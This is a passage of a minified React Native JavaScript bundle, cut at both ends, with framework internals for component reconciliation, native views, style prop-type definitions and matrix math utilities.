e.prototype.enqueue=function(e,t){this._callbacks=this._callbacks||[],this._callbacks.push(e),this._contexts=this._contexts||[],this._contexts.push(t)},e.prototype.notifyAll=function(){var e=this._callbacks,t=this._contexts;if(e&&t){Et(e.length===t.length,\"Mismatched list of contexts in callback queue\"),this._callbacks=null,this._contexts=null;for(var n=0;n<e.length;n++)qr(e[n]),e[n].call(t[n]);e.length=0,t.length=0}},e.prototype.checkpoint=function(){return this._callbacks?this._callbacks.length:0},e.prototype.rollback=function(e){this._callbacks&&this._contexts&&(this._callbacks.length=e,this._contexts.length=e)},e.prototype.reset=function(){this._callbacks=null,this._contexts=null},e.prototype.destructor=function(){this.reset()},e}(),Qr=pn.addPoolingTo(zr),Kr={initialize:function(){this.reactMountReady.reset()},close:function(){this.reactMountReady.notifyAll()}},Jr=[Kr],$r={getTransactionWrappers:function(){return Jr},getReactMountReady:function(){return this.reactMountReady},getUpdateQueue:function(){return Sn},checkpoint:function(){return this.reactMountReady.checkpoint()},rollback:function(e){this.reactMountReady.rollback(e)},destructor:function(){Qr.release(this.reactMountReady),this.reactMountReady=null}};babelHelpers.extends(Ye.prototype,fn,Ye,$r),pn.addPoolingTo(Ye);var Zr=Ye,ei={processChildrenUpdates:Gr.dangerouslyProcessChildrenUpdates,replaceNodeWithMarkup:Gr.dangerouslyReplaceNodeWithMarkupByID,clearNode:function(){},ReactReconcileTransaction:Zr},ti=ei,ni=function(e){this._currentElement=e,this._stringText=\"\"+e,this._hostParent=null,this._rootNodeID=0};babelHelpers.extends(ni.prototype,{mountComponent:function(e,t,n,o){Et(o.isInAParentText,'RawText \"%s\" must be wrapped in an explicit <Text> component.',this._stringText),this._hostParent=t;var r=Vt.allocateTag();this._rootNodeID=r;var i=n._tag;return xt.createView(r,\"RCTRawText\",i,{text:this._stringText}),Wt.precacheNode(this,r),r},getHostNode:function(){return this._rootNodeID},receiveComponent:function(e,t,n){if(e!==this._currentElement){this._currentElement=e;var o=\"\"+e;o!==this._stringText&&(this._stringText=o,xt.updateView(this._rootNodeID,\"RCTRawText\",{text:this._stringText}))}},unmountComponent:function(){Wt.uncacheNode(this),this._currentElement=null,this._stringText=null,this._rootNodeID=0}});var oi=ni,ri=function(e,t){this._currentElement=null,this._renderedComponent=t(e)};babelHelpers.extends(ri.prototype,{mountComponent:function(e,t,n,o,r){return $t.mountComponent(this._renderedComponent,e,t,n,o,r)},receiveComponent:function(){},getHostNode:function(){return $t.getHostNode(this._renderedComponent)},unmountComponent:function(e,t){$t.unmountComponent(this._renderedComponent,e,t),this._renderedComponent=null}});var ii=ri;or.injection.injectStackBatchedUpdates(Rn.batchedUpdates),Rn.injection.injectReconcileTransaction(ti.ReactReconcileTransaction),Rn.injection.injectBatchingStrategy(Yr),An.injection.injectEnvironment(ti);var ai=function(e){var n=t(110);return new ii(Pt.createElement(n,{collapsable:!0,style:{position:\"absolute\"}}),e)};qn.injection.injectEmptyComponentFactory(ai),$n.injection.injectTextComponentClass(oi),$n.injection.injectGenericComponentClass(function(e){var t=\"\";\"string\"==typeof e&&/^[a-z]/.test(e)&&(t+=\" Each component name should start with an uppercase letter.\"),Et(!1,\"Expected a component class, got %s.%s\",e,t)});var si={},ui=1,ci={},li=function(){function e(){Ve(this,e)}return e.register=function(e){var t=++ui;return si[t]=e,t},e.getByID=function(e){if(!e)return ci;var t=si[e];return t||(console.warn(\"Invalid style with id `\"+e+\"`. Skipping ...\"),ci)},e}(),pi=li,di={},hi=null,fi=0,mi={create:function(e,t){return Ze(null,e,t)},diff:function(e,t,n){return $e(null,e,t,n)}},vi=mi,gi={mountSafeCallback:tt,throwOnStylesProp:nt,warnForStyleProps:ot},_i=t(45),Ci=gi.mountSafeCallback,yi=_i.useFiber?to:po,bi=function(e){function t(){return rt(this,t),it(this,e.apply(this,arguments))}return at(t,e),t.prototype.blur=function(){Mt.blurTextInput(yi(this))},t.prototype.focus=function(){Mt.focusTextInput(yi(this))},t.prototype.measure=function(e){xt.measure(yi(this),Ci(this,e))},t.prototype.measureInWindow=function(e){xt.measureInWindow(yi(this),Ci(this,e))},t.prototype.measureLayout=function(e,t,n){xt.measureLayout(yi(this),e,Ci(this,n),Ci(this,t))},t.prototype.setNativeProps=function(e){Ti(this,e)},t}(Pt.Component),Ti=void 0;Ti=_i.useFiber?st:ut;var Ri=bi,Ni=t(45),Ii=gi.mountSafeCallback,Ei=Ni.useFiber?to:po,Pi={measure:function(e){xt.measure(Ei(this),Ii(this,e))},measureInWindow:function(e){xt.measureInWindow(Ei(this),Ii(this,e))},measureLayout:function(e,t,n){xt.measureLayout(Ei(this),e,Ii(this,n),Ii(this,t))},setNativeProps:function(e){Si(this,e)},focus:function(){Mt.focusTextInput(Ei(this))},blur:function(){Mt.blurTextInput(Ei(this))}},Si=void 0;Si=Ni.useFiber?ct:lt;var wi,xi=Pi,Ai={centroidDimension:function(e,t,n,o){var r=e.touchBank,i=0,a=0,s=1===e.numberActiveTouches?e.touchBank[e.indexOfSingleActiveTouch]:null;if(null!==s)s.touchActive&&s.currentTimeStamp>t&&(i+=o&&n?s.currentPageX:o&&!n?s.currentPageY:!o&&n?s.previousPageX:s.previousPageY,a=1);else for(var u=0;u<r.length;u++){var c=r[u];if(null!==c&&void 0!==c&&c.touchActive&&c.currentTimeStamp>=t){var l;l=o&&n?c.currentPageX:o&&!n?c.currentPageY:!o&&n?c.previousPageX:c.previousPageY,i+=l,a++}}return a>0?i/a:Ai.noCentroid},currentCentroidXOfTouchesChangedAfter:function(e,t){return Ai.centroidDimension(e,t,!0,!0)},currentCentroidYOfTouchesChangedAfter:function(e,t){return Ai.centroidDimension(e,t,!1,!0)},previousCentroidXOfTouchesChangedAfter:function(e,t){return Ai.centroidDimension(e,t,!0,!1)},previousCentroidYOfTouchesChangedAfter:function(e,t){return Ai.centroidDimension(e,t,!1,!1)},currentCentroidX:function(e){return Ai.centroidDimension(e,0,!0,!0)},currentCentroidY:function(e){return Ai.centroidDimension(e,0,!1,!0)},noCentroid:-1},Di=Ai,ki=kt,Oi={escape:pt,unescapeInDev:ki},ji=Oi,Mi=\"function\"==typeof Symbol&&(\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"),Hi=\"@@iterator\",Ui=\"function\"==typeof Symbol&&(\"function\"==typeof Symbol?Symbol.for:\"@@for\")&&(\"function\"==typeof Symbol?Symbol.for:\"@@for\")(\"react.element\")||60103,Fi=\".\",Wi=\":\",Li=ft;\"undefined\"!=typeof process&&process.env&&!1&&(wi=En.ReactComponentTreeHook);var Bi,Yi={instantiateChildren:function(e,t,n,o){if(null==e)return null;var r={};return Li(e,mt,r),r},updateChildren:function(e,t,n,o,r,i,a,s,u){if(t||e){var c,l;for(c in t)if(t.hasOwnProperty(c)){l=e&&e[c];var p=l&&l._currentElement,d=t[c];if(null!=l&&Fn(p,d))$t.receiveComponent(l,d,r,s),t[c]=l;else{var h=eo(d,!0);t[c]=h;var f=$t.mountComponent(h,r,i,a,s,u);n.push(f),l&&(o[c]=$t.getHostNode(l),$t.unmountComponent(l,!1,!1))}}for(c in e)!e.hasOwnProperty(c)||t&&t.hasOwnProperty(c)||(l=e[c],o[c]=$t.getHostNode(l),$t.unmountComponent(l,!1,!1))}},unmountChildren:function(e,t,n){for(var o in e)if(e.hasOwnProperty(o)){var r=e[o];$t.unmountComponent(r,t,n)}}},Vi=Yi;\"undefined\"!=typeof process&&process.env&&!1&&(Bi=En.ReactComponentTreeHook);var Xi=gt,Gi={_reconcilerInstantiateChildren:function(e,t,n){return Vi.instantiateChildren(e,t,n)},_reconcilerUpdateChildren:function(e,t,n,o,r,i){var a,s=0;return a=Xi(t,s),Vi.updateChildren(e,a,n,o,r,this,this._hostContainerInfo,i,s),a},mountChildren:function(e,t,n){var o=this._reconcilerInstantiateChildren(e,t,n);this._renderedChildren=o;var r=[],i=0;for(var a in o)if(o.hasOwnProperty(a)){var s=o[a],u=0,c=$t.mountComponent(s,t,this,this._hostContainerInfo,n,u);s._mountIndex=i++,r.push(c)}return r},updateTextContent:function(e){var t=this._renderedChildren;Vi.unmountChildren(t,!1,!1);for(var n in t)t.hasOwnProperty(n)&&Et(!1,\"updateTextContent called on non-empty component.\");Nt(this,[Tt(e)])},updateMarkup:function(e){var t=this._renderedChildren;Vi.unmountChildren(t,!1,!1);for(var n in t)t.hasOwnProperty(n)&&Et(!1,\"updateTextContent called on non-empty component.\");Nt(this,[bt(e)])},updateChildren:function(e,t,n){this._updateChildren(e,t,n)},_updateChildren:function(e,t,n){var o=this._renderedChildren,r={},i=[],a=this._reconcilerUpdateChildren(o,e,i,r,t,n);if(a||o){var s,u=null,c=0,l=0,p=0,d=null;for(s in a)if(a.hasOwnProperty(s)){var h=o&&o[s],f=a[s];h===f?(u=Rt(u,this.moveChild(h,d,c,l)),l=Math.max(h._mountIndex,l),h._mountIndex=c):(h&&(l=Math.max(h._mountIndex,l)),u=Rt(u,this._mountChildAtIndex(f,i[p],d,c,t,n)),p++),c++,d=$t.getHostNode(f)}for(s in r)r.hasOwnProperty(s)&&(u=Rt(u,this._unmountChild(o[s],r[s])));u&&Nt(this,u),this._renderedChildren=a}},unmountChildren:function(e,t){var n=this._renderedChildren;Vi.unmountChildren(n,e,t),this._renderedChildren=null},moveChild:function(e,t,n,o){if(e._mountIndex<o)return Ct(e,t,n)},createChild:function(e,t,n){return _t(n,t,e._mountIndex)},removeChild:function(e,t){return yt(e,t)},_mountChildAtIndex:function(e,t,n,o,r,i){return e._mountIndex=o,this.createChild(e,n,t)},_unmountChild:function(e,t){var n=this.removeChild(e,t);return e._mountIndex=null,n}},qi=Gi,zi=function(e){this.viewConfig=e};zi.Mixin={getPublicInstance:function(){return this},unmountComponent:function(e,t){Wt.uncacheNode(this),this.unmountChildren(e,t),this._rootNodeID=0},initializeChildren:function(e,t,n,o){var r=this.mountChildren(e,n,o);if(r.length){for(var i=[],a=0,s=r.length;a<s;a++){var u=r[a],c=u;i[a]=c}xt.setChildren(t,i)}},receiveComponent:function(e,t,n){var o=this._currentElement;this._currentElement=e;var r=vi.diff(o.props,e.props,this.viewConfig.validAttributes);r&&xt.updateView(this._rootNodeID,this.viewConfig.uiViewClassName,r),this.updateChildren(e.props.children,t,n)},getName:function(){return this.constructor.displayName||this.constructor.name||\"Unknown\"},getHostNode:function(){return this._rootNodeID},mountComponent:function(e,t,n,o){var r=Vt.allocateTag();this._rootNodeID=r,this._hostParent=t,this._hostContainerInfo=n;var i=vi.create(this._currentElement.props,this.viewConfig.validAttributes),a=n._tag;return xt.createView(r,this.viewConfig.uiViewClassName,a,i),Wt.precacheNode(this,r),this.initializeChildren(this._currentElement.props.children,r,e,o),r}},babelHelpers.extends(zi.prototype,qi,zi.Mixin,xi);var Qi=zi,Ki=function(e){var t=function(e){this._currentElement=e,this._topLevelWrapper=null,this._hostParent=null,this._hostContainerInfo=null,this._rootNodeID=0,this._renderedChildren=null};return t.displayName=e.uiViewClassName,t.viewConfig=e,t.propTypes=e.propTypes,t.prototype=new Qi(e),t.prototype.constructor=t,t},Ji=Ki,$i=t(45),Zi=$i.useFiber?to:Ji,ea=t(45),ta=ea.useFiber?to:po,na=It,oa=function(e,t,n){return so.renderComponent(e,t,n)},ra={NativeComponent:Ri,hasReactNativeInitialized:!1,findNodeHandle:po,render:oa,unmountComponentAtNode:so.unmountComponentAtNode,unstable_batchedUpdates:Rn.batchedUpdates,unmountComponentAtNodeAndRemoveContainer:so.unmountComponentAtNodeAndRemoveContainer,__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:{NativeMethodsMixin:xi,ReactGlobalSharedState:En,ReactNativeComponentTree:Wt,ReactNativePropRegistry:pi,TouchHistoryMath:Di,createReactNativeComponentClass:Zi,takeSnapshot:na}};\"undefined\"!=typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&&\"function\"==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.inject&&__REACT_DEVTOOLS_GLOBAL_HOOK__.inject({ComponentTree:{getClosestInstanceFromNode:function(e){return Wt.getClosestInstanceFromNode(e)},getNodeFromInstance:function(e){for(;e._renderedComponent;)e=e._renderedComponent;return e?Wt.getNodeFromInstance(e):null}},Mount:so,Reconciler:$t,getInspectorDataForViewTag:lo.getInspectorDataForViewTag});var ia=ra;n.exports=ia},108);\n__d(function(t,n,c,i){\"use strict\";function o(t,n,c,i,o){}c.exports=o},109);\n__d(function(e,i,t,n){\"use strict\";var o=i(43),r=(i(23),i(111)),s=i(114),a=(i(115),i(129)),d=i(130),p=i(140),u=i(13),w=i(142),T=p({displayName:\"View\",mixins:[o],propTypes:d,viewConfig:{uiViewClassName:\"RCTView\",validAttributes:a.RCTView},contextTypes:{isInAParentText:r.bool},render:function(){return u((this.context.isInAParentText,!0),\"Nesting of <View> within <Text> is not supported on Android.\"),s.createElement(c,this.props)}}),c=w(\"RCTView\",T,{nativeOnly:{nativeBackgroundAndroid:!0,nativeForegroundAndroid:!0}}),x=c;t.exports=x},110);\n__d(function(n,o,t,_){t.exports=o(112)()},111);\n__d(function(e,t,r,o){\"use strict\";var p=t(57),n=t(56),s=t(113);r.exports=function(){function e(e,t,r,o,p,c){c!==s&&n(!1,\"Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types\")}function t(){return e}e.isRequired=e;var r={array:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t};return r.checkPropTypes=p,r.PropTypes=r,r}},112);\n__d(function(_,t,E,O){\"use strict\";var S=\"SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED\";E.exports=S},113);\n__d(function(t,s,c,e){\"use strict\";c.exports=s(52)},114);\n__d(function(o,r,e,t){\"use strict\";var l=r(116),s=r(123),d=r(124),C=r(118),a=r(125),b=r(126),c=r(128),f=babelHelpers.extends({},C(d),C(s),C(l));f.transform={process:b},f.shadowOffset={diff:c};var n={process:a};f.backgroundColor=n,f.borderBottomColor=n,f.borderColor=n,f.borderLeftColor=n,f.borderRightColor=n,f.borderTopColor=n,f.color=n,f.shadowColor=n,f.textDecorationColor=n,f.tintColor=n,f.textShadowColor=n,f.overlayColor=n,e.exports=f},115);\n__d(function(e,r,o,i){\"use strict\";var b=r(41),d=r(117),t=r(119),n=r(111),s=r(120),u=r(121),a=babelHelpers.extends({},t,s,u,{resizeMode:n.oneOf(Object.keys(d)),backfaceVisibility:n.oneOf([\"visible\",\"hidden\"]),backgroundColor:b,borderColor:b,borderWidth:n.number,borderRadius:n.number,overflow:n.oneOf([\"visible\",\"hidden\"]),tintColor:b,opacity:n.number,overlayColor:n.string,borderTopLeftRadius:n.number,borderTopRightRadius:n.number,borderBottomLeftRadius:n.number,borderBottomRightRadius:n.number});o.exports=a},116);\n__d(function(l,n,t,e){\"use strict\";var r=n(118),u=r({contain:null,cover:null,stretch:null,center:null,repeat:null});t.exports=u},117);\n__d(function(r,n,t,i){\"use strict\";var o=n(13),a=function(r){var n,t={};r instanceof Object&&!Array.isArray(r)?void 0:o(!1);for(n in r)r.hasOwnProperty(n)&&(t[n]=n);return t};t.exports=a},118);\n__d(function(e,n,r,t){\"use strict\";var i=n(111),o={display:i.oneOf([\"none\",\"flex\"]),width:i.oneOfType([i.number,i.string]),height:i.oneOfType([i.number,i.string]),top:i.oneOfType([i.number,i.string]),left:i.oneOfType([i.number,i.string]),right:i.oneOfType([i.number,i.string]),bottom:i.oneOfType([i.number,i.string]),minWidth:i.oneOfType([i.number,i.string]),maxWidth:i.oneOfType([i.number,i.string]),minHeight:i.oneOfType([i.number,i.string]),maxHeight:i.oneOfType([i.number,i.string]),margin:i.oneOfType([i.number,i.string]),marginVertical:i.oneOfType([i.number,i.string]),marginHorizontal:i.oneOfType([i.number,i.string]),marginTop:i.oneOfType([i.number,i.string]),marginBottom:i.oneOfType([i.number,i.string]),marginLeft:i.oneOfType([i.number,i.string]),marginRight:i.oneOfType([i.number,i.string]),padding:i.oneOfType([i.number,i.string]),paddingVertical:i.oneOfType([i.number,i.string]),paddingHorizontal:i.oneOfType([i.number,i.string]),paddingTop:i.oneOfType([i.number,i.string]),paddingBottom:i.oneOfType([i.number,i.string]),paddingLeft:i.oneOfType([i.number,i.string]),paddingRight:i.oneOfType([i.number,i.string]),borderWidth:i.number,borderTopWidth:i.number,borderRightWidth:i.number,borderBottomWidth:i.number,borderLeftWidth:i.number,position:i.oneOf([\"absolute\",\"relative\"]),flexDirection:i.oneOf([\"row\",\"row-reverse\",\"column\",\"column-reverse\"]),flexWrap:i.oneOf([\"wrap\",\"nowrap\"]),justifyContent:i.oneOf([\"flex-start\",\"flex-end\",\"center\",\"space-between\",\"space-around\"]),alignItems:i.oneOf([\"flex-start\",\"flex-end\",\"center\",\"stretch\",\"baseline\"]),alignSelf:i.oneOf([\"auto\",\"flex-start\",\"flex-end\",\"center\",\"stretch\",\"baseline\"]),alignContent:i.oneOf([\"flex-start\",\"flex-end\",\"center\",\"stretch\",\"space-between\",\"space-around\"]),overflow:i.oneOf([\"visible\",\"hidden\",\"scroll\"]),flex:i.number,flexGrow:i.number,flexShrink:i.number,flexBasis:i.oneOfType([i.number,i.string]),aspectRatio:i.number,zIndex:i.number,direction:i.oneOf([\"inherit\",\"ltr\",\"rtl\"])};r.exports=o},119);\n__d(function(s,e,a,h){\"use strict\";var o=e(41),r=e(111),t={shadowColor:o,shadowOffset:r.shape({width:r.number,height:r.number}),shadowOpacity:r.number,shadowRadius:r.number};a.exports=t},120);\n__d(function(e,r,t,s){\"use strict\";var a=r(111),n=r(122),o=function(e,r,t){if(e[r])return new Error(\"The transformMatrix style property is deprecated. Use `transform: [{ matrix: ... }]` instead.\")},p=function(e,r,t){if(e[r])return new Error(\"The decomposedMatrix style property is deprecated. Use `transform: [...]` instead.\")},i={transform:a.arrayOf(a.oneOfType([a.shape({perspective:a.number}),a.shape({rotate:a.string}),a.shape({rotateX:a.string}),a.shape({rotateY:a.string}),a.shape({rotateZ:a.string}),a.shape({scale:a.number}),a.shape({scaleX:a.number}),a.shape({scaleY:a.number}),a.shape({translateX:a.number}),a.shape({translateY:a.number}),a.shape({skewX:a.string}),a.shape({skewY:a.string})])),transformMatrix:o,decomposedMatrix:p,scaleX:n(a.number,\"Use the transform prop instead.\"),scaleY:n(a.number,\"Use the transform prop instead.\"),rotation:n(a.number,\"Use the transform prop instead.\"),translateX:n(a.number,\"Use the transform prop instead.\"),translateY:n(a.number,\"Use the transform prop instead.\")};t.exports=i},121);\n__d(function(n,r,e,t){\"use strict\";function o(n,r){return function(e,t,o){a[o]||void 0===e[t]||console.warn(\"`\"+t+\"` supplied to `\"+o+\"` has been deprecated. \"+r);for(var c=arguments.length,i=Array(c>3?c-3:0),u=3;u<c;u++)i[u-3]=arguments[u];return n.apply(void 0,[e,t,o].concat(i))}}var a=r(63);e.exports=o},122);\n__d(function(t,e,n,o){\"use strict\";var i=e(41),r=e(111),l=e(124),a=babelHelpers.extends({},l,{color:i,fontFamily:r.string,fontSize:r.number,fontStyle:r.oneOf([\"normal\",\"italic\"]),fontWeight:r.oneOf([\"normal\",\"bold\",\"100\",\"200\",\"300\",\"400\",\"500\",\"600\",\"700\",\"800\",\"900\"]),fontVariant:r.arrayOf(r.oneOf([\"small-caps\",\"oldstyle-nums\",\"lining-nums\",\"tabular-nums\",\"proportional-nums\"])),textShadowOffset:r.shape({width:r.number,height:r.number}),textShadowRadius:r.number,textShadowColor:i,letterSpacing:r.number,lineHeight:r.number,textAlign:r.oneOf([\"auto\",\"left\",\"right\",\"center\",\"justify\"]),textAlignVertical:r.oneOf([\"auto\",\"top\",\"bottom\",\"center\"]),includeFontPadding:r.bool,textDecorationLine:r.oneOf([\"none\",\"underline\",\"line-through\",\"underline line-through\"]),textDecorationStyle:r.oneOf([\"solid\",\"double\",\"dotted\",\"dashed\"]),textDecorationColor:i,writingDirection:r.oneOf([\"auto\",\"ltr\",\"rtl\"])});n.exports=a},123);\n__d(function(r,e,o,d){\"use strict\";var b=e(41),t=e(119),i=e(111),n=e(120),u=e(121),m=babelHelpers.extends({},t,n,u,{backfaceVisibility:i.oneOf([\"visible\",\"hidden\"]),backgroundColor:b,borderColor:b,borderTopColor:b,borderRightColor:b,borderBottomColor:b,borderLeftColor:b,borderRadius:i.number,borderTopLeftRadius:i.number,borderTopRightRadius:i.number,borderBottomLeftRadius:i.number,borderBottomRightRadius:i.number,borderStyle:i.oneOf([\"solid\",\"dotted\",\"dashed\"]),borderWidth:i.number,borderTopWidth:i.number,borderRightWidth:i.number,borderBottomWidth:i.number,borderLeftWidth:i.number,opacity:i.number,elevation:i.number});o.exports=m},124);\n__d(function(n,r,i,t){\"use strict\";function u(n){if(void 0===n||null===n)return n;var r=o(n);if(null!==r&&void 0!==r)return r=(r<<24|r>>>8)>>>0}var o=(r(23),r(42));i.exports=u},125);\n__d(function(t,n,r,u){\"use strict\";function c(t){return t}n(127),n(23),n(13),n(21);r.exports=c},126);\n__d(function(t,e,a,n){\"use strict\";var r=e(13),o={createIdentityMatrix:function(){return[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]},createCopy:function(t){return[t[0],t[1],t[2],t[3],t[4],t[5],t[6],t[7],t[8],t[9],t[10],t[11],t[12],t[13],t[14],t[15]]},createOrthographic:function(t,e,a,n,r,o){var i=2/(e-t),u=2/(n-a),s=-2/(o-r),c=-(e+t)/(e-t),m=-(n+a)/(n-a),v=-(o+r)/(o-r);return[i,0,0,0,0,u,0,0,0,0,s,0,c,m,v,1]},createFrustum:function(t,e,a,n,r,o){var i=1/(e-t),u=1/(n-a),s=1/(r-o),c=2*(r*i),m=2*(r*u),v=(e+t)*i,l=(n+a)*u,f=(o+r)*s,d=2*(o*r*s);return[c,0,0,0,0,m,0,0,v,l,f,-1,0,0,d,0]},createPerspective:function(t,e,a,n){var r=1/Math.tan(t/2),o=1/(a-n),i=(n+a)*o,u=2*(n*a*o);return[r/e,0,0,0,0,r,0,0,0,0,i,-1,0,0,u,0]},createTranslate2d:function(t,e){var a=o.createIdentityMatrix();return o.reuseTranslate2dCommand(a,t,e),a},reuseTranslate2dCommand:function(t,e,a){t[12]=e,t[13]=a},reuseTranslate3dCommand:function(t,e,a,n){t[12]=e,t[13]=a,t[14]=n},createScale:function(t){var e=o.createIdentityMatrix();return o.reuseScaleCommand(e,t),e},reuseScaleCommand:function(t,e){t[0]=e,t[5]=e},reuseScale3dCommand:function(t,e,a,n){t[0]=e,t[5]=a,t[10]=n},reusePerspectiveCommand:function(t,e){t[11]=-1/e},reuseScaleXCommand:function(t,e){t[0]=e},reuseScaleYCommand:function(t,e){t[5]=e},reuseScaleZCommand:function(t,e){t[10]=e},reuseRotateXCommand:function(t,e){t[5]=Math.cos(e),t[6]=Math.sin(e),t[9]=-Math.sin(e),t[10]=Math.cos(e)},reuseRotateYCommand:function(t,e){t[0]=Math.cos(e),t[2]=-Math.sin(e),t[8]=Math.sin(e),t[10]=Math.cos(e)},reuseRotateZCommand:function(t,e){t[0]=Math.cos(e),t[1]=Math.sin(e),t[4]=-Math.sin(e),t[5]=Math.cos(e)},createRotateZ:function(t){var e=o.createIdentityMatrix();return o.reuseRotateZCommand(e,t),e},reuseSkewXCommand:function(t,e){t[4]=Math.tan(e)},reuseSkewYCommand:function(t,e){t[1]=Math.tan(e)},multiplyInto:function(t,e,a){var n=e[0],r=e[1],o=e[2],i=e[3],u=e[4],s=e[5],c=e[6],m=e[7],v=e[8],l=e[9],f=e[10],d=e[11],h=e[12],M=e[13],C=e[14],p=e[15],T=a[0],x=a[1],y=a[2],b=a[3];t[0]=T*n+x*u+y*v+b*h,t[1]=T*r+x*s+y*l+b*M,t[2]=T*o+x*c+y*f+b*C,t[3]=T*i+x*m+y*d+b*p,T=a[4],x=a[5],y=a[6],b=a[7],t[4]=T*n+x*u+y*v+b*h,t[5]=T*r+x*s+y*l+b*M,t[6]=T*o+x*c+y*f+b*C,t[7]=T*i+x*m+y*d+b*p,T=a[8],x=a[9],y=a[10],b=a[11],t[8]=T*n+x*u+y*v+b*h,t[9]=T*r+x*s+y*l+b*M,t[10]=T*o+x*c+y*f+b*C,t[11]=T*i+x*m+y*d+b*p,T=a[12],x=a[13],y=a[14],b=a[15],t[12]=T*n+x*u+y*v+b*h,t[13]=T*r+x*s+y*l+b*M,t[14]=T*o+x*c+y*f+b*C,t[15]=T*i+x*m+y*d+b*p},determinant:function(t){var e=babelHelpers.slicedToArray(t,16),a=e[0],n=e[1],r=e[2],o=e[3],i=e[4],u=e[5],s=e[6],c=e[7],m=e[8],v=e[9],l=e[10],f=e[11],d=e[12],h=e[13],M=e[14],C=e[15];return o*s*v*d-r*c*v*d-o*u*l*d+n*c*l*d+r*u*f*d-n*s*f*d-o*s*m*h+r*c*m*h+o*i*l*h-a*c*l*h-r*i*f*h+a*s*f*h+o*u*m*M-n*c*m*M-o*i*v*M+a*c*v*M+n*i*f*M-a*u*f*M-r*u*m*C+n*s*m*C+r*i*v*C-a*s*v*C-n*i*l*C+a*u*l*C},inverse:function(t){var e=o.determinant(t);if(!e)return t;var a=babelHelpers.slicedToArray(t,16),n=a[0],r=a[1],i=a[2],u=a[3],s=a[4],c=a[5],m=a[6],v=a[7],l=a[8],f=a[9],d=a[10],h=a[11],M=a[12],C=a[13],p=a[14],T=a[15];return[(m*h*C-v*d*C+v*f*p-c*h*p-m*f*T+c*d*T)/e,(u*d*C-i*h*C-u*f*p+r*h*p+i*f*T-r*d*T)/e,(i*v*C-u*m*C+u*c*p-r*v*p-i*c*T+r*m*T)/e,(u*m*f-i*v*f-u*c*d+r*v*d+i*c*h-r*m*h)/e,(v*d*M-m*h*M-v*l*p+s*h*p+m*l*T-s*d*T)/e,(i*h*M-u*d*M+u*l*p-n*h*p-i*l*T+n*d*T)/e,(u*m*M-i*v*M-u*s*p+n*v*p+i*s*T-n*m*T)/e,(i*v*l-u*m*l+u*s*d-n*v*d-i*s*h+n*m*h)/e,(c*h*M-v*f*M+v*l*C-s*h*C-c*l*T+s*f*T)/e,(u*f*M-r*h*M-u*l*C+n*h*C+r*l*T-n*f*T)/e,(r*v*M-u*c*M+u*s*C-n*v*C-r*s*T+n*c*T)/e,(u*c*l-r*v*l-u*s*f+n*v*f+r*s*h-n*c*h)/e,(m*f*M-c*d*M-m*l*C+s*d*C+c*l*p-s*f*p)/e,(r*d*M-i*f*M+i*l*C-n*d*C-r*l*p+n*f*p)/e,(i*c*M-r*m*M-i*s*C+n*m*C+r*s*p-n*c*p)/e,(r*m*l-i*c*l+i*s*f-n*m*f-r*s*d+n*c*d)/e]},transpose:function(t){return[t[0],t[4],t[8],t[12],t[1],t[5],t[9],t[13],t[2],t[6],t[10],t[14],t[3],t[7],t[11],t[15]]},multiplyVectorByMatrix:function(t,e){var a=babelHelpers.slicedToArray(t,4),n=a[0],r=a[1],o=a[2],i=a[3];return[n*e[0]+r*e[4]+o*e[8]+i*e[12],n*e[1]+r*e[5]+o*e[9]+i*e[13],n*e[2]+r*e[6]+o*e[10]+i*e[14],n*e[3]+r*e[7]+o*e[11]+i*e[15]]},v3Length:function(t){return Math.sqrt(t[0]*t[0]+t[1]*t[1]+t[2]*t[2])},v3Normalize:function(t,e){var a=1/(e||o.v3Length(t));return[t[0]*a,t[1]*a,t[2]*a]},v3Dot:function(t,e){return t[0]*e[0]+t[1]*e[1]+t[2]*e[2]},v3Combine:function(t,e,a,n){return[a*t[0]+n*e[0],a*t[1]+n*e[1],a*t[2]+n*e[2]]},v3Cross:function(t,e){return[t[1]*e[2]-t[2]*e[1],t[2]*e[0]-t[0]*e[2],t[0]*e[1]-t[1]*e[0]]},quaternionToDegreesXYZ:function(t,e,a){var n=babelHelpers.slicedToArray(t,4),r=n[0],i=n[1],u=n[2],s=n[3],c=s*s,m=r*r,v=i*i,l=u*u,f=r*i+u*s,d=c+m+v+l,h=180/Math.PI;return f>.49999*d?[0,2*Math.atan2(r,s)*h,90]:f<-.49999*d?[0,-2*Math.atan2(r,s)*h,-90]:[o.roundTo3Places(Math.atan2(2*r*s-2*i*u,1-2*m-2*l)*h),o.roundTo3Places(Math.atan2(2*i*s-2*r*u,1-2*v-2*l)*h),o.roundTo3Places(Math.asin(2*r*i+2*u*s)*h)]},roundTo3Places:function(t){var e=t.toString().split(\"e\");return.001*Math.round(e[0]+\"e\"+(e[1]?+e[1]-3:3))},decomposeMatrix:function(t){r(16===t.length,\"Matrix decomposition needs a list of 3d matrix values, received %s\",t);var e=[],a=[],n=[],i=[],u=[];if(t[15]){for(var s=[],c=[],m=0;m<4;m++){s.push([]);for(var v=0;v<4;v++){var l=t[4*m+v]/t[15];s[m].push(l),c.push(3===v?0:l)}}if(c[15]=1,o.determinant(c)){if(0!==s[0][3]||0!==s[1][3]||0!==s[2][3])var f=[s[0][3],s[1][3],s[2][3],s[3][3]],d=o.inverse(c),h=o.transpose(d),e=o.multiplyVectorByMatrix(f,h);else e[0]=e[1]=e[2]=0,e[3]=1;for(var m=0;m<3;m++)u[m]=s[3][m];var 